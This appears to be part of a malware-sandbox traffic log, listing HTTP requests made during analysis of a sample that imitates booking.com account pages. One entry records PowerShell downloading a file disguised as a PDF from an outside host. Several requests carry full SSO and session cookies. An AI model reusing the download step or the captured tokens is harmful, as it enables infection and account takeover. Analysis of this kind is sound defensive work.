Source: global traffic	HTTP traffic detected: GET /raphael_data_v8 HTTP/1.1Host: 52.209.78.88Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Nlzev3tt5u_xEjFI?ecf81c17203e4f6e=PTlHpp3RVAHRveEKY0b3hZsg0vpXlvmDfAtub0ndu56Q41J7y5SMC3BmagQNYRL-7mrqiyZgKKbDXxmIcOAcSZJXNPkVectc4KskHGf9rWvwIWI0o8Jk3IFveYG7iVxyJJaLBl3zCiQlUv0bG2_TB-WlA3s&k=2 HTTP/1.1Host: h.online-metrix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: thx_global_guid=311c333d17b541fa8bf0c9616aaaffc4
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jb=3336266e73613f3331313434346c663735383e346c66346a3d3165353b3a383562643067653666 HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /IEThGZCf03EamIVs?1ccc74c0c8e2c8fe=afnFr4BHYAOWDetExnnLQmpIZQG3eeXLO3bguj3Cq2dR-hwj1K0Mu627RpoG6ehpJh9VNeDIHMolMM1D7XkO0Iye1Q93r1pFy6hYk0lryHkLAZQlUvPpZa9S5-NnRgV7NTexO7h6_uVDYiNS7iWQzw HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=363626246a61613f39246268716a6b3f27354a253d40273a3a5a25323a273a413127324131373332353530363a363332302d354627354c266a6a716a635f696e6c67703f30 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&jac=1&je=383426246d65666a352a3125304b3027304339253a41363c3b6435656b346b66336336613734653b66623a3b3c6438623031623b3432383939313a3b303133663a646b64356764333232623a65373b613a6162613b3129 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jac=1&je=31323237262660637c71743d273f4227303264657e676e2d3a322533493326323027324125323271746176777b273232273b412730326b6869706561666725323a273f4626637566683d6367666263673c353836353f663230666a626c3b353b3e31373631306c60643b6334343530606635343639343639676a6564333531356960353c3d61323139352e6778313d3062626461663335346c633634303d35323a333f623a3a343a6c3937393c363c6362603567653433246578363f6b353837363a323a63616e393a353638693362663d67383b6267663437666332266a716d3555696e666777712732383138247769603d25374a273a306170636a69746561747570672d30322531492530307830362d30302d3a4325323a6061766e67737125323227334127303a343425303a253041253a326a7063666c7325323a273b4325374227374225303262706366662532302d334327323a47676d65646d2532304b6a7a6d6d67253032253241253230746d7073696d66253030253b412d303039393725323a273f4625304327374225303262706366662532302d334327323a4e6776273b4a4125334c407a636e66253032253241253230746d7073696d66253030253b412d3030302d3232253f462d30432737402532326072616c662d3032253149253030436072676f6b7d652532322d304b27323076677273696d6e2530302d314125303a313335253a322d35462d3d4425324b273a3066776c6e56657271696f6c4e61717425303a253143253d422d35402d3a326272696c6c273230253141253230476f6d6564672532324b68706d6d6d253a30273a4b2532327e677a71696d6e2732322531412530303933372e3226353b313826313b30273a3a2537442d304b2737402530326272636e6427303a273341273a324c6d742d334a43273b4c42726166662d3032273241253232746572716b676c2532302d334327323a3826322c38263025323a273f4625304327374225303262706366662532302d334327323a4360706d6561756d253a302d304327323076657271696f6c273a302533432d323033313f2e382c37313b382e313b302d303227374625354427324327303a6f6f626b64652730322d33496463647b6525324b273a306d6d64676c253230253343273a302532302d324127323a706463766e67726d253a302d314127323057696e666f7771273a302532412d3230726c69746e6d70655e657273616d6627323025314125323031302c3226322532302d324127323a776775343c2d3232253b436e636c71652737442677616c3f273f402532306a72636c647b253a30273b492535422d354a2732306270616e6427323227314927323245676f656e652d3238416a7a676d65253a302d304327323076657271696f6c273a302533432d323033313f253a30273f4c2532432d354a2732306270616e642732322731492732324c677427314249253b46407a696e64253a302d304327323076657271696f6c273a302533432d32303a253a322d35462d3a4325374a273a306270616c64253230253343273a30436870676d6b776d2d323a27304b2d3232766d707b6b6f6c2530322533432532303339352532302d374627354c253a41273a3a6d6f62616e6d27323025314166616e736527304b27323272646176646f7a6d2d30302d3b4125323a55616c646d7771253232273744 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Se
Source: global traffic	HTTP traffic detected: GET /Mek0LzBUR_pp4BTT?8181c7f9361596dd=0jCOCZlGqQFR_5L6VGrbH2xM4K8yM8eKmigmjP_zvhWYlVJIdCoRnZoJJ5F2rqRWkhZSUcGpkypkgw20nUqBNTOc_3NexxtGLHb_QZl4pm7URlCWpVCLEyxwpXAFlap4Eo8WBjGm5ER6xSgv9YRDZSxhl_1hEqikUSAc HTTP/1.1Host: doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1tronvbs.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /xW0KoT92WnicNNTb?495376562534e9d1=-n7AKwsH_FYqlWoeD96nobeF5sEdEo-hhnIm4-YW3MSySixp4T0rs-fqX8FWef-ALgHJ_GA-gEWXMVawLV8px-E3XF8uAId4P1saWpUKeRG4U4WjV5qhadoIBsd1W2czF570D1rXqtta93-kQCb68pJRVmY&jf=3336266e73623f346e373262606c393434316d34393464313f6138343b333c60303b6634323962 HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/verify HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7hGTh9OUjYGo3LSe?8f99ece7b8384103=xo1-sFTvGGV6RfJxJ-oe22zy0yo4lj6c7SGCIHSzCmhA04qkbE1dq77POuw3Cbfid0Qzs_NPO3371r494eZNPbMZifRYZzXkKrdJqB3ke-9dFDaBtgeKHsnjbMHJSX4tecEogzP3OVmu-yXmlMhaJQ&fr HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /raphael_data_v8 HTTP/1.1Host: 52.209.78.88Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/img/favicon.svg HTTP/1.1Host: xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&jac=1&je=3237262462687176786c3d25354a2530303530352d30302d3b4131253f46 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /Nlzev3tt5u_xEjFI?ecf81c17203e4f6e=PTlHpp3RVAHRveEKY0b3hZsg0vpXlvmDfAtub0ndu56Q41J7y5SMC3BmagQNYRL-7mrqiyZgKKbDXxmIcOAcSZJXNPkVectc4KskHGf9rWvwIWI0o8Jk3IFveYG7iVxyJJaLBl3zCiQlUv0bG2_TB-WlA3s&k=2 HTTP/1.1Host: h.online-metrix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: thx_global_guid=311c333d17b541fa8bf0c9616aaaffc4
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jac=1&je=31323237262660637c71743d273f4227303264657e676e2d3a322533493326323027324125323271746176777b273232273b412730326b6869706561666725323a273f4626637566683d6367666263673c353836353f663230666a626c3b353b3e31373631306c60643b6334343530606635343639343639676a6564333531356960353c3d61323139352e6778313d3062626461663335346c633634303d35323a333f623a3a343a6c3937393c363c6362603567653433246578363f6b353837363a323a63616e393a353638693362663d67383b6267663437666332266a716d3555696e666777712732383138247769603d25374a273a306170636a69746561747570672d30322531492530307830362d30302d3a4325323a6061766e67737125323227334127303a343425303a253041253a326a7063666c7325323a273b4325374227374225303262706366662532302d334327323a47676d65646d2532304b6a7a6d6d67253032253241253230746d7073696d66253030253b412d303039393725323a273f4625304327374225303262706366662532302d334327323a4e6776273b4a4125334c407a636e66253032253241253230746d7073696d66253030253b412d3030302d3232253f462d30432737402532326072616c662d3032253149253030436072676f6b7d652532322d304b27323076677273696d6e2530302d314125303a313335253a322d35462d3d4425324b273a3066776c6e56657271696f6c4e61717425303a253143253d422d35402d3a326272696c6c273230253141253230476f6d6564672532324b68706d6d6d253a30273a4b2532327e677a71696d6e2732322531412530303933372e3226353b313826313b30273a3a2537442d304b2737402530326272636e6427303a273341273a324c6d742d334a43273b4c42726166662d3032273241253232746572716b676c2532302d334327323a3826322c38263025323a273f4625304327374225303262706366662532302d334327323a4360706d6561756d253a302d304327323076657271696f6c273a302533432d323033313f2e382c37313b382e313b302d303227374625354427324327303a6f6f626b64652730322d33496463647b6525324b273a306d6d64676c253230253343273a302532302d324127323a706463766e67726d253a302d314127323057696e666f7771273a302532412d3230726c69746e6d70655e657273616d6627323025314125323031302c3226322532302d324127323a776775343c2d3232253b436e636c71652737442677616c3f273f402532306a72636c647b253a30273b492535422d354a2732306270616e6427323227314927323245676f656e652d3238416a7a676d65253a302d304327323076657271696f6c273a302533432d323033313f253a30273f4c2532432d354a2732306270616e642732322731492732324c677427314249253b46407a696e64253a302d304327323076657271696f6c273a302533432d32303a253a322d35462d3a4325374a273a306270616c64253230253343273a30436870676d6b776d2d323a27304b2d3232766d707b6b6f6c2530322533432532303339352532302d374627354c253a41273a3a6d6f62616e6d27323025314166616e736527304b27323272646176646f7a6d2d30302d3b4125323a55616c646d7771253232273744 HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
